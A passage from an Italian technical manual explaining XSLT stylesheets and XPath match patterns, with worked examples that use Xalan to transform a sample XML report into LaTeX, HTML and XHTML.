La sintassi con cui si possono definire questi percorsi è stabilita dal linguaggio XPath, ovvero *XML path language*. Si tratta di un sistema abbastanza complesso che non viene mostrato qui nel dettaglio. Per quanto riguarda il linguaggio XSLT i percorsi vengono usati per definire un modello di confronto con i nodi di un documento XML; nell'ambito di questi modelli di confronto si utilizzano delle notazioni particolari rispetto alla convenzione generale costituita da XPath. La tabella 64.22 riporta alcuni esempi di questi modelli.

Tabella 64.22. Alcuni modelli di confronto per individuare i nodi di un documento XML.

Modello	Descrizione
`/`	Una barra obliqua da sola individua il nodo radice.
`text()`	Individua qualunque nodo di testo.
`node()`	Individua qualunque nodo, esclusi gli attributi e la radice.
`.` `self::node()`	Una di queste due notazioni, indifferentemente, individua il nodo corrente.
`..` `parent::node()`	Una di queste due notazioni, indifferentemente, individua il nodo genitore di quello corrente.
elemento `child::`***elemento***	Un nome scritto senza l'inserzione di simboli speciali rappresenta un elemento. La seconda notazione è completa.
elemento`[`***n***`]`	Individua l'***n***-esimo elemento con quel nome, che si trova all'interno dell'elemento che lo contiene. Osservando gli esempi mostrati in precedenza, '**`paragrafo[1]`**' può rappresentare il primo elemento '**`paragrafo`**' che si trova all'interno dell'elemento '**`contenuto`**'.
`@`***attributo*** `attribute::`***attributo***	Un nome preceduto da una chiocciolina rappresenta un attributo. La seconda notazione è completa.
`*`	L'asterisco corrisponde a qualunque elemento.
`@*`	L'asterisco preceduto da una chiocciolina corrisponde a qualunque attributo.
elemento_1 `|` ***elemento_2***	I nomi di due elementi, separati da una barra verticale, indicano la corrispondenza con l'uno o con l'altro.
`@`***attributo_1*** `|` `@`***attributo_2***	I nomi di due attributi, separati da una barra verticale, indicano la corrispondenza con l'uno o con l'altro.
elemento_1 `/` ***elemento_2***	La barra obliqua separa i nodi di un percorso; in questo caso, si vuole individuare l'elemento ***elemento_2*** che è contenuto da ***elemento_1***.
elemento `/` `@`***attributo***	In questo caso si vuole fare riferimento a un attributo di un certo elemento.

Modello	Descrizione
elemento_1*//*elemento_2 ***elemento_1***↩ ↪`/descendant-or-self::node()/`↩ ↪***elemento_2***	Due barre oblique indicano una discendenza non meglio precisata: qui, ***elemento_2*** è contenuto all'interno di ***elemento_1***, direttamente oppure all'interno di annidamenti ulteriori.

64.2.2 Struttura generale del foglio di stile XSLT

Un foglio di stile XSLT è un documento XML con una struttura particolare, abbinato al dominio applicativo ⟨*http://www.w3.org/1999/XSL/Transform*⟩ (sezione 64.1.11). Normalmente, il prefisso associato a questo dominio applicativo è '**`xsl`**', pertanto, l'elemento principale è '**`xsl:stylesheet`**', oppure '**`xsl:transform`**', indifferentemente:

```
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    [altri_attributi] >
    [contenuto]
</xsl:stylesheet>
```

```
<xsl:transform
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    [altri_attributi] >
    [contenuto]
</xsl:transform>
```

Anche senza definire esplicitamente alcun tipo di trasformazione, si ottiene ugualmente un risultato elaborando un file XML, attraverso delle regole di trasformazione predefinite, con le quali, in buona sostanza, si ottiene il testo del file XML, senza i marcatori che delimitano gli elementi. Per esempio, si può prendere il file XML già presentato all'inizio del capitolo, associandogli il foglio di stile seguente:

```
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
</xsl:stylesheet>
```

Supponendo che il file XML si chiami '`prova.xml`' e che il foglio di stile sia '`prova.xsl`', si potrebbe usare Xalan nel modo seguente:

`$` **`xalan -IN prova.xml -XSL prova.xsl -OUT prova.txt`** [*Invio*]

Ecco cosa si ottiene nel file '`prova.txt`':

```
<?xml version="1.0" encoding="UTF-8"?>

Relazione introduttiva su XML
11/11/2011

XML sta per Extensible Markup Language.
Bla, bla, bla...
Pinco Pallino
```

64.2.3 Modelli di confronto e trasformazione

La definizione di un criterio di trasformazione dei nodi del documento XML di origine in quello che si vuole ottenere, avviene principalmente per mezzo di modelli di confronto, attraverso un elemento del foglio di stile denominato '**xsl:template**'. La traduzione del termine *template*, ovvero «mascherina», rende bene l'idea del concetto: gli elementi '**xsl:template**' del foglio di stile definiscono un modello di confronto con cui selezionano alcuni nodi del documento XML di origine; su questi nodi applicano delle trasformazioni.

```
<xsl:template
    match="modello_di_confronto"
    [altri_attributi] >
    trasformazione
</xsl:template>
```

Il modello di confronto viene definito secondo le regole che in parte sono state descritte nella tabella 64.22; per esempio, il blocco seguente individua il nodo radice:

```
<xsl:template match="/">
    ...
    ...
</xsl:template>
```

Per comprendere meglio cosa accade, si prenda il solito esempio di file XML già considerato in precedenza e si applichi il foglio di stile seguente:

```
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/relazione/contenuto">
        ciao ciao
    </xsl:template>
</xsl:stylesheet>
```

Come si vede, è stato inserito un solo elemento '**xml:template**' che seleziona l'elemento '**contenuto**', che si trova all'interno di '**relazione**' (che a sua volta è l'elemento principale del documento XML). Quando si individua questo elemento, viene inserito il testo «ciao ciao». Valgono le stesse convenzioni dei nomi dei file già viste in precedenza:

$ **xalan -IN prova.xml -XSL prova.xsl -OUT prova.txt** [*Invio*]

Ecco cosa si ottiene nel file '`prova.txt`':

```
<?xml version="1.0" encoding="UTF-8"?>

Relazione introduttiva su XML
11/11/2011


        ciao ciao
```

In pratica, le regole di trasformazione predefinite hanno inserito il contenuto degli elementi '**`titolo`**' e '**`data`**'. Quindi, l'elemento '**`contenuto`**', con tutto quello che esiste al suo interno, è stato sostituito con la stringa «ciao ciao».

Per fare in modo che vengano presi in considerazione anche gli elementi contenuti all'interno di ciò che viene individuato, si utilizza l'elemento '**`xsl:apply-templates`**', che di solito è vuoto:

```
<xsl:template
    match="modello_di_confronto"
    [altri_attributi] >
    …
    <xsl:apply-templates
        [select="modello_di_selezione"]
        [altri_attributi] >
        …
    </xsl:apply-templates>
    …
</xsl:template>
```

Per esempio, se il foglio di stile di prova viene modificato nel modo seguente:

```
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/relazione/contenuto">
        prima
        <xsl:apply-templates />
        dopo
    </xsl:template>
</xsl:stylesheet>
```

La trasformazione genera questo file:

```
<?xml version="1.0" encoding="UTF-8"?>

Relazione introduttiva su XML
11/11/2011

        prima

XML sta per Extensible Markup Language.
Bla, bla, bla...
Pinco Pallino

        dopo
```

In pratica, si consente alle regole di trasformazione predefinite (dal momento che non ce ne sono altre nell'esempio) di occuparsi degli elementi contenuti all'interno dell'elemento '**contenuto**', cosa che produce semplicemente l'estrazione del testo che questi circoscrivono. Tutto questo avviene perché «l'istruzione» '**apply-templates**' serve proprio a richiamare gli altri modelli di confronto (e trasformazione) per quanto è contenuto in ciò che è stato individuato.

Dal momento che nell'esempio non ci sono altri modelli di confronto e trasformazione, è evidente che si tratta soltanto di quelli predefiniti.

L'elemento '**xsl:apply-templates**' può avere un attributo molto importante, '**select**', che consente di specificare su cosa continuare il confronto con altri modelli; in pratica consente di limitare, o controllare, la ricorsione. Si osservi la variante seguente del foglio di stile:

```
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="1.0">
    <xsl:template match="/relazione/contenuto">
        prima
        <xsl:apply-templates select="paragrafo" />
        dopo
    </xsl:template>
</xsl:stylesheet>
```

Per prima cosa è bene osservare che il modello indicato con l'attributo '**select**' rappresenta un percorso relativo, che secondo il contesto è riferito esattamente a '`/relazione/contenuto/paragrafo`'. In base a questa selezione, si vuole che nell'ambito del contenuto dell'elemento (o degli elementi) '`/relazione/contenuto`', la ricorsione successiva prenda in considerazione soltanto gli elementi '**paragrafo**'. Ecco cosa si ottiene; come si vede, il testo dell'elemento '**firma**' è stato ignorato:

```
<?xml version="1.0" encoding="UTF-8"?>

Relazione introduttiva su XML
11/11/2011

        prima
        XML sta per Extensible Markup Language.Bla, bla, bla...
        dopo
```

Naturalmente, è possibile utilizzare '**`xsl:apply-templates`**' più volte all'interno dello stesso modello di confronto e trasformazione, anche così:

```
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="1.0">
    <xsl:template match="/relazione/contenuto">
        Io sottoscritto, <xsl:apply-templates select="firma" />,
        affermo che:
        <xsl:apply-templates select="paragrafo" />

        Firmato:
        <xsl:apply-templates select="firma" />
    </xsl:template>
</xsl:stylesheet>
```

Ecco il risultato che si può ottenere:

```
<?xml version="1.0" encoding="UTF-8"?>

Relazione introduttiva su XML
11/11/2011

        Io sottoscritto, Pinco Pallino,
        affermo che:
        XML sta per Extensible Markup Language.Bla, bla, bla...

        Firmato:
        Pinco Pallino
```

I modelli di confronto e trasformazione possono basarsi su riferimenti relativi ai nodi, se non ha importanza la collocazione esatta di questi nell'albero del documento XML di origine. Si osservi l'esempio seguente:

```
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="1.0">
    <xsl:template match="paragrafo">
        "<xsl:apply-templates />"
    </xsl:template>
</xsl:stylesheet>
```

In questo caso, si evidenziano gli elementi '**`paragrafo`**', attorno ai quali si vuole appaiano gli apici doppi; tutto il resto viene gestito in modo predefinito:

```
<?xml version="1.0" encoding="UTF-8"?>

Relazione introduttiva su XML
11/11/2011



        "XML sta per Extensible Markup Language."



        "Bla, bla, bla..."

Pinco Pallino
```

Come accennato, l'elemento '**`xsl:apply-templates`**' del foglio di stile XSLT, normalmente è vuoto. Quando contiene qualcosa, ciò serve per elaborare il risultato della scansione che lo riguarda. In pratica, '**`xsl:apply-templates`**' serve a richiamare i modelli di confronto e trasformazione successivi, in modo da inserire il risultato di queste elaborazioni nel punto in cui si trova, ma se questo elemento non è vuoto, le «istruzioni» che contiene servono a interferire con le elaborazioni successive, per esempio per riordinare i dati ottenuti. Questo tipo di utilizzo di '**`xsl:apply-templates`**' non viene descritto.

64.2.4 Testo

Negli esempi delle sezioni precedenti, in varie occasioni è stato inserito del testo aggiuntivo nella trasformazione del documento XML di origine. In questo modo è possibile anche aggiungere marcatori e altre componenti, in base agli scopi che ci si prefigge con la trasformazione.

Quando un elemento contiene solo spazi bianchi (spazi veri e propri, tabulazioni orizzontali e interruzioni di riga), il nodo relativo può essere eliminato dalla struttura. In generale, salvo che sia specificato diversamente, nel documento XML di origine vengono preservati tutti gli spazi, mentre nel foglio di stile sono preservati solo quelli contenuti negli elementi '**`xsl:text`**'.

64.2.4.1 Formato generale del risultato della trasformazione

Esistono diverse modalità di funzionamento a cui si adegua la trasformazione del documento XML, in base al tipo di file che si vuole ottenere. Questa modalità di funzionamento si seleziona con l'elemento '**`xsl:output`**':

```
<xsl:output
    method="metodo"
    version="versione"
    encoding="codifica"
    omit-xml-declaration="yes"|"no"
    doctype-public="dichiarazione_dtd_public"
    doctype-system="dichiarazione_dtd_system"
    [altri_attributi] />
```

Come si vede dal modello sintattico, si tratta di un elemento del foglio di stile che non ha lo scopo di contenere qualcosa e tutto è indicato attraverso attributi.

L'attributo più importante è '**`method`**', al quale si associano normalmente le parole chiave '**`xml`**', '**`html`**' e '**`text`**', per indicare rispettivamente che si vuole ottenere un risultato in formato XML, HTML o un file di testo senza una conformazione particolare conosciuta. In generale, se non si specifica il formato del file che si va a generare, si intende XML, cosa che dovrebbe spiegare il motivo per cui negli esempi mostrati in precedenza appare la dichiarazione XML anche se il file ottenuto è semplicemente un testo puro e semplice.

Come si può intuire, a seconda del tipo di «metodo» prescelto, gli altri attributi possono acquisire o perdere significato.

Tabella 64.36. Alcuni attributi di '**`xsl:output`**' utili quando il risultato dell'elaborazione deve essere un file XML.

Attributo	Descrizione
`method="xml"`	Dichiara il metodo di trasformazione in un documento XML. Alcuni caratteri (come '**`&`**' e '**`<`**') vengono trasformati nelle rispettive entità generali standard.
`version="`***versione***`"`	Dichiara il numero di versione del formato XML. Il valore predefinito è '**`1.0`**'.
`encoding="`***codifica***`"`	Dichiara il tipo di codifica del file da generare. Sono valide sempre le sigle '**`UTF-8`**' e '**`UTF-16`**', ma possono essere disponibili altre sigle, come per esempio '**`ISO-8859-`*n***'.
`omit-xml-declaration=`↩ ↪`"yes"|"no"`	Consente di omettere (se si assegna il valore '**`yes`**') la dichiarazione XML iniziale.
`indent="yes"|"no"`	Permette di richiedere un incolonnamento degli elementi nel risultato della trasformazione.
`doctype-public="`***dtd_public***`"`	Permette di specificare la dichiarazione del DTD, utilizzando un identificatore pubblico, come potrebbe essere: '**`-//W3C//DTD XHTML 1.1//EN`**'.
`doctype-system="`***dtd_system***`"`	Permette di specificare la dichiarazione del DTD, indicando come riferimento un file.

Tabella 64.37. Alcuni attributi di '**`xsl:output`**' utili quando il risultato dell'elaborazione deve essere un file HTML.

Attributo	Descrizione
`method="html"`	Dichiara il metodo di trasformazione in un documento HTML. Alcuni caratteri vengono trasformati usando le entità generali standard.
`version="`***versione***`"`	Dichiara il numero di versione del formato HTML. Il conoscere la versione permette di verificare la validità del foglio di stile anche in base alla validità del codice HTML che si va a generare. Il valore predefinito è '**`4.0`**'.
`encoding="`***codifica***`"`	Dichiara il tipo di codifica del file da generare. Sono valide sempre le sigle '**`UTF-8`**' e '**`UTF-16`**', ma possono essere disponibili altre sigle, come per esempio '**`ISO-8859-`*n***'.
`doctype-public="`***dtd_public***`"`	Permette di specificare la dichiarazione del DTD, utilizzando un identificatore pubblico, come potrebbe essere: '**`ISO/IEC 15445:2000//DTD HTML//EN`**'.
`doctype-system="`***dtd_system***`"`	Permette di specificare la dichiarazione del DTD, indicando come riferimento un file.

Tabella 64.38. Alcuni attributi di '**`xsl:output`**' utili quando il risultato dell'elaborazione deve essere un file di testo non meglio identificabile.

Attributo	Descrizione
`method="text"`	Dichiara il metodo di trasformazione in un file di testo. In questo caso non avviene alcuna trasformazione dei caratteri, come invece può avvenire con le trasformazioni in XML o in HTML.
`encoding="`***codifica***`"`	Dichiara il tipo di codifica del file da generare. Sono valide sempre le sigle '**`UTF-8`**' e '**`UTF-16`**', ma possono essere disponibili altre sigle, come per esempio '**`ISO-8859-`*n***'.

64.2.4.2 Inserimento di testo aggiuntivo

Generalmente è sufficiente aggiungere del testo estraneo all'interno del foglio di stile XSLT, nell'ambito degli elementi '**`xsl:template`**', per fare in modo che questo venga inserito nel risultato finale. Per avere un controllo maggiore si può usare l'elemento '**`xsl:text`**', che tra le altre cose permette di inserire blocchi di spazi quando diversamente verrebbero eliminati:

```
<xsl:text
    [disable-output-escaping="yes"|"no"]>
    testo
</xsl:text>
```

L'attributo '**`disable-output-escaping`**' permette, se si assegna il valore '**`yes`**', di disabilitare la sostituzione di alcuni caratteri in entità generali standard (questo vale solo per le trasformazioni che prevedono nella destinazione un formato XML o HTML, perché nel caso di trasformazioni in formato testo, questa sostituzione non viene mai eseguita). Come si può intendere, la funzionalità è disabilitata in modo predefinito, pertanto, normalmente si ottiene la sostituzione di questi caratteri.

In alcune circostanze è necessario inserire del testo nel foglio di stile XSLT che non deve essere interpretato prima della trasformazione, lasciandolo in modo letterale. Per questo si usa normalmente una sezione marcata di tipo CDATA, come nell'esempio seguente, dove si vede l'intenzione di inserire uno stile CSS nel documento finale che è un file HTML:

```
    <xsl:template match="/">
        <HTML>
        <HEAD>
            <TITLE>senza titolo</TITLE>
        <xsl:text disable-output-escaping="yes">
<![CDATA[<STYLE TYPE="text/css">
<!--
BODY {
    background-color: rgb(255, 255, 255)
}
H1 {
    text-align:        right;
    color:             rgb(230, 100, 180)
}
-->
</STYLE>]]>
        </HEAD>
        <BODY>
        <xsl:apply-templates />
        </BODY>
    </xsl:template>
```

64.2.4.3 Estrazione del valore contenuto in un nodo

Il testo contenuto in un nodo viene inserito nel documento finale attraverso l'elemento '**xsl:value-of**' del foglio di stile. Esiste anche un modello di confronto e trasformazione predefinito che esegue questa operazione per tutti i nodi di testo, pertanto, negli esempi di fogli di stile non si è ancora presentata la necessità di mostrarne l'uso:

```
<xsl:value-of
    select="modello_di_selezione"
    [disable-output-escaping="yes"|"no"] />
```

Come si vede dal modello sintattico, l'elemento '**xsl:value-of**' si usa vuoto e, per ottenere il «valore» di qualcosa, occorre specificarlo attraverso un modello di selezione, come avviene con l'elemento '**xsl:apply-templates**'.

Anche questo elemento prevede l'attributo '**disable-output-escaping**' come descritto a proposito di '**xsl:text**'.

L'elemento '**xsl:value-of**' si può usare per estrarre il testo contenuto in un elemento del documento di origine, oppure per fare altrettanto da un attributo; in generale, è più frequente l'uso di '**xsl:value-of**' per estrarre il testo di un attributo, come nell'esempio seguente:

```
<xsl:template match="relazione">
    Questo documento utilizza il linguaggio <xsl:value-of select="@lang" />.
</xsl:template>
```

In questo caso, quando si raggiunge un elemento denominato '**`relazione`**', nel documento XML di origine, viene estratto il valore dell'attributo '**`lang`**' di questo e inserito in una frase, ignorando qualunque altra cosa che possa riguardare l'elemento in questione.

Quando il documento di destinazione è di tipo XML o HTML, è probabile che si vadano a descrivere dei marcatori che contengono la dichiarazione di attributi. Quando negli attributi si vuole inserire un valore estratto da un nodo del documento XML di origine, non si può usare l'elemento '**`xsl:value-of`**'; al suo posto si usano delle parentesi graffe, come nell'esempio seguente:

```
<xsl:template match="relazione">
    <HTML LANG="{@lang}">
    <BODY>
    <xsl:apply-templates />
    </BODY>
    </HTML>
</xsl:template>
```

Questa volta, come si può vedere, si va a costruire un documento HTML, dove serve il valore dell'attributo '**`lang`**' dell'elemento '**`relazione`**' del file di partenza.

64.2.5 Creazione di componenti XML e HTML

Quando il formato di destinazione della trasformazione è un file XML o HTML, è possibile creare alcune componenti tipiche di questi file con l'ausilio di elementi appositi nel foglio di stile XSLT.

64.2.5.1 Creazione di elementi e di attributi

Quando per qualche ragione è difficile inserire letteralmente il testo che rappresenta i marcatori di un elemento nel documento finale, si può usare nel foglio di stile XSLT l'elemento '**`xsl:element`**':

```
<xsl:element
    name="nome_elemento"
    [altri_attributi] >
    contenuto
</xsl:element>
```

Per dichiarare un attributo si può usare l'elemento '**`xsl:attribute`**':

```
<xsl:attribute
    name="nome_attributo"
    [altri_attributi] >
    contenuto
</xsl:element>
```

L’esempio seguente mostra l’uso di questi due elementi, per la costruzione della prima parte di un documento HTML, dove in particolare si vede anche l’uso di ‘**`xsl:value-of`**’:

```
<xsl:template match="/">
    <xsl:element name="HTML">
        <xsl:attribute name="LANG">
            <xsl:value-of select="relazione/@lang" />
        </xsl:attribute>
        <HEAD>
        <TITLE><xsl:value-of select="relazione/titolo" /></TITLE>
        </HEAD>
        <BODY>
        <xsl:apply-templates />
        </BODY>
    </xsl:element>
</xsl:template>
```

Osservando l’esempio si intende che il documento XML di origine contiene l’elemento ‘**`relazione`**’ all’inizio della gerarchia; inoltre al suo interno si trova l’elemento ‘**`titolo`**’ che viene usato per completare l’intestazione del file HTML.

64.2.5.2 Creazione di commenti e di istruzioni di elaborazione

Quando il formato di destinazione è di tipo XML o HTML è possibile inserire dei commenti attraverso l’elemento ‘**`xsl:comment`**’ nel foglio di stile XSLT:

```
<xsl:comment>
    contenuto
</xsl:comment>
```

In modo analogo, è possibile inserire istruzioni di elaborazione quando il formato di destinazione è di tipo XML, con l’elemento ‘**`xsl:processing-instruction`**’:

```
<xsl:processing-instruction
    name="nome_istruzione">
    contenuto
</xsl:processing-instruction>
```

Si osservi l’esempio seguente:

```
<xsl:template match="/">
    <xsl:processing-instruction name="xml-stylesheet">href="esempio.css"
    type="text/css"</xsl:processing-instruction>
    <xsl:comment>Ecco un commento</xsl:comment>
    <xsl:apply-templates />
</xsl:template>
```

In questo modo, all'inizio del documento di destinazione si ottiene il testo seguente:

```
<?xml-stylesheet href="esempio.css"
    type="text/css"?>
<!--Ecco un commento-->
```

64.2.6 Xalan

Xalan[1] è un elaboratore XSLT disponibile sia in Java, sia in C++. Qui si fa riferimento all'uso di Xalan-C++, ovvero a un programma compilato in modo da avere un eseguibile che non richiede altre forme di interpretazione:

xalan -IN ***documento_xml_originale*** -XSL ***foglio_di_stile*** ↩
↪-OUT ***file_da_generare*** [***altre_opzioni***]

Il modello sintattico mostrato è più che sufficiente per usare bene Xalan; per le altre opzioni disponibili si può consultare la pagina di manuale *xalan(1)*.

Durante l'elaborazione, Xalan emette alcune informazioni ed eventualmente delle segnalazioni di errore, che dovrebbero tornare utili per correggere il foglio di stile XSLT. Si osservi che quando si procede a una trasformazione che deve generare un documento XML o HTML, Xalan si sofferma anche su errori relativi al formato finale. Per esempio, l'estratto seguente, riferito proprio alla generazione di codice HTML genera un errore a causa della mancata chiusura dell'elemento '**HEAD**' nel file che si ottiene:

```
5   <xsl:template match="/">
6       <HTML>
7       <HEAD>
8       <TITLE><xsl:value-of select="relazione/titolo" /></TITLE>
9       <BODY>
10      <xsl:apply-templates />
11      </BODY>
12  </xsl:element>
```

Supponendo che il file XML originale sia '`prova.xml`', che il foglio di stile XSLT sia contenuto nel file '`prova.xsl`' e che si voglia generare il file '`prova.html`', si dovrebbe procedere con il comando seguente:

`$` **`xalan -IN prova.xml -XSL prova.xsl -OUT prova.html`** [*Invio*]

In questo caso, si ottiene l'errore già descritto:

```
========= Parsing prova.xsl ==========

Fatal Error at (file prova.xsl, line 12, column 18): ↩
↪Expected end of tag 'HEAD'

SAXParseException Message is: Expected end of tag 'HEAD' ↩
↪(prova.xsl, line 12, column 18)
```

I riferimenti ai numeri di riga dell'esempio sono corretti, pertanto si può osservare che gli errori vengono segnalati in posizioni abbastanza lontane rispetto alla loro collocazione effettiva.

64.2.7 Esempio completo

Nelle sezioni seguenti vengono mostrati diversi fogli di stile XSLT per ottenere altrettante trasformazioni a partire da un file XML già mostrato in precedenza. Qui viene riportato nuovamente, con qualche piccola modifica e con l'aggiunta della dichiarazione del DTD incorporata:

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE relazione [
    <!ELEMENT relazione     (titolo?, data, contenuto)>
    <!ATTLIST relazione
        xml:lang   CDATA    "">
    <!ELEMENT titolo        (#PCDATA)>
    <!ELEMENT data          (#PCDATA)>
    <!ELEMENT contenuto     (paragrafo+, firma+)>
    <!ELEMENT paragrafo     (#PCDATA)>
    <!ELEMENT firma         (#PCDATA)>
]>

<relazione lang="it">
<titolo>Relazione introduttiva su XML</titolo>

<data>11/11/2011</data>

<contenuto>

<paragrafo>XML sta per Extensible Markup Language.    bla bla bla...
Perché,... così,... perciò,... sarà...</paragrafo>

<paragrafo>Bla, bla, bla....</paragrafo>

<firma>Pinco Pallino</firma>

</contenuto>
</relazione>
```

Si osservi che questo file, come si vede dalla dichiarazione iniziale, deve usare la codifica UTF-8; di conseguenza, le lettere accentate utilizzano più di un byte per essere rappresentate.

64.2.7.1 Trasformazione in un sorgente LaTeX

Per la trasformazione in un sorgente LaTeX si deve utilizzare un foglio di stile XSLT che elabora il risultato in modalità testo:

```
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="1.0">
    <xsl:output method="text" encoding="UTF-8" />
    <xsl:template match="/">
\documentclass{article}
\usepackage[utf8]{inputenc}
\usepackage[italian,english]{babel}
\begin{document}
            <xsl:apply-templates />
\end{document}
        </xsl:template>
        <xsl:template match="titolo">
\section{<xsl:apply-templates />}
    </xsl:template>
</xsl:stylesheet>
```

Si può osservare che non sono state stabilite delle regole di trasformazione per gli elementi '**`data`**', '**`paragrafo`**' e '**`firma`**', perché allo scopo risultano sufficienti le regole predefinite. Inoltre, le parentesi graffe sono usate fuori dal contesto in cui servono per ottenere il valore di qualcosa, pertanto hanno soltanto un significato letterale nell'ambito della trasformazione. Ecco cosa si ottiene:

```

\documentclass{article}
\usepackage[utf8]{inputenc}
\usepackage[italian,english]{babel}
\begin{document}


\section{Relazione introduttiva su XML}


11/11/2011




XML sta per Extensible Markup Language.    bla bla bla...
Perché,... così,... perciò,... sarà...

Bla, bla, bla....

Pinco Pallino


```

```
\end{document}
```

Il file che si ottiene utilizza la codifica UTF-8, cosa che consente di evitare l'uso di comandi particolari per rappresentare le lettere accentate, pertanto si è reso necessario l'utilizzo di un «pacchetto» adatto allo scopo ('**`\usepackage[utf8]{inputenc}`**'). Tuttavia rimangono da risolvere altri problemi legati a caratteri che non possono essere inseriti letteralmente, come per esempio nel caso di '**`%`**', che per LaTeX costituisce l'inizio di un commento. Per questo occorrerebbe inserire nel DTD la dichiarazione di una serie di entità generali, che poi devono essere usate nel sorgente XML.

Infine, si noti che, per semplicità, nella trasformazione viene ignorato completamente il linguaggio, ovvero l'attributo '**`lang`**' dell'elemento '**`relazione`**'.

64.2.7.2 Trasformazione in un sorgente HTML

Per la trasformazione in un sorgente HTML si deve utilizzare un foglio di stile XSLT che elabora il risultato in modalità HTML, avendo cura, possibilmente, di predisporre anche la dichiarazione del DTD:

```
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="1.0">
    <xsl:output
        method="html"
        doctype-public="ISO/IEC 15445:2000//DTD HTML//EN"
        encoding="ISO-8859-1" />
    <xsl:template match="/">
        <xsl:element name="HTML">
            <xsl:attribute name="LANG">
                <xsl:value-of select="relazione/@lang" />
            </xsl:attribute>
            <HEAD>
            <TITLE><xsl:value-of select="relazione/titolo" /></TITLE>
            <xsl:text disable-output-escaping="yes">
<![CDATA[<STYLE TYPE="text/css">
<!--
BODY {
    background-color: rgb(255, 255, 255)
}
H1 {
    text-align:       right;
    color:            rgb(230, 100, 180)
}

P.paragrafo {
    width:            auto;
    text-align:       left
}
```

```
P.data {
    text-align:       left;
    font-weight:      bold
}
P.firma {
    width:            auto;
    text-align:       left
-->
</STYLE>]]>
            </xsl:text>
            </HEAD>
            <BODY>
            <xsl:apply-templates />
            </BODY>
        </xsl:element>
    </xsl:template>
    <xsl:template match="titolo">
        <H1><xsl:apply-templates /></H1>
    </xsl:template>
    <xsl:template match="data">
        <P CLASS="data"><xsl:apply-templates /></P>
    </xsl:template>
    <xsl:template match="paragrafo">
        <P CLASS="paragrafo"><xsl:apply-templates /></P>
    </xsl:template>
    <xsl:template match="firma">
        <P CLASS="firma"><xsl:apply-templates /></P>
    </xsl:template>
</xsl:stylesheet>
```

Questa volta il foglio di stile XSLT è molto più articolato, anche perché incorpora la dichiarazione di alcuni stili CSS. Ecco il risultato che si ottiene; si osservi che il file viene generato usando la codifica ISO-8859-1:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<TITLE>Relazione introduttiva su XML</TITLE>
<STYLE TYPE="text/css">
<!--
BODY {
    background-color: rgb(255, 255, 255)
}
H1 {
    text-align:       right;
    color:            rgb(230, 100, 180)
}
```

```
P.paragrafo {
    width:              auto;
    text-align:         left
}
P.data {
    text-align:         left;
    font-weight:        bold
}
P.firma {
    width:              auto;
    text-align:         left
-->
</STYLE>
            </HEAD>
<BODY>
<H1>Relazione introduttiva su XML</H1>

<P CLASS="data">11/11/2011</P>



<P CLASS="paragrafo">XML sta per Extensible Markup Language.    bla bla bla...
Perch&eacute;,... cos&igrave;,... perci&ograve;,... sar&agrave;...</P>

<P CLASS="paragrafo">Bla, bla, bla....</P>

<P CLASS="firma">Pinco Pallino</P>


</BODY>
</HTML>
```

64.2.7.3 Trasformazione in un sorgente XHTML

Per la trasformazione in un sorgente XHTML si deve utilizzare un foglio di stile XSLT che elabora il risultato in modalità XML:

```
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns="http://www.w3.org/1999/xhtml">
    <xsl:output
        method="xml"
        encoding="UTF-8" />
    <xsl:template match="/">
        <xsl:element name="html">
            <xsl:attribute name="xml:lang">
                <xsl:value-of select="relazione/@lang" />
            </xsl:attribute>
            <head>
```

```
            <title><xsl:value-of select="relazione/titolo" /></title>
            <xsl:text disable-output-escaping="yes">
<![CDATA[<style type="text/css">
<!--
body {
    background-color: rgb(255, 255, 255)
}
h1 {
    text-align:       right;
    color:            rgb(230, 100, 180)
}

p.paragrafo {
    width:            auto;
    text-align:       left
}
p.data {
    text-align:       left;
    font-weight:      bold
}
p.firma {
    width:            auto;
    text-align:       left
-->
</style>]]>
            </xsl:text>
            </head>
            <body>
            <xsl:apply-templates />
            </body>
        </xsl:element>
    </xsl:template>
    <xsl:template match="titolo">
        <h1><xsl:apply-templates /></h1>
    </xsl:template>
    <xsl:template match="data">
        <p class="data"><xsl:apply-templates /></p>
    </xsl:template>
    <xsl:template match="paragrafo">
        <p class="paragrafo"><xsl:apply-templates /></p>
    </xsl:template>
    <xsl:template match="firma">
        <p class="firma"><xsl:apply-templates /></p>
    </xsl:template>
</xsl:stylesheet>
```

Il risultato che si ottiene manca di alcuni incolonnamenti che nelle altre situazioni veni-

vano mantenuti. Per ovviare all’inconveniente, si può provare ad aggiungere l’attributo ‘**`indent="yes"`**’ nell’elemento ‘**`xsl:output`**’:

```
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns="http://www.w3.org/1999/xhtml">
    <xsl:output
        method="xml"
        indent="yes"
        encoding="UTF-8" />
    ...
```

Ecco il risultato, incolonnato, che si può ottenere:

```
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it">
<head>
<title>Relazione introduttiva su XML</title>
<style type="text/css">
<!--
body {
    background-color: rgb(255, 255, 255)
}
h1 {
    text-align:       right;
    color:            rgb(230, 100, 180)
}

p.paragrafo {
    width:            auto;
    text-align:       left
}
p.data {
    text-align:       left;
    font-weight:      bold
}
p.firma {
    width:            auto;
    text-align:       left
-->
</style>
            </head>
<body>
<h1>Relazione introduttiva su XML</h1>

<p class="data">11/11/2011</p>




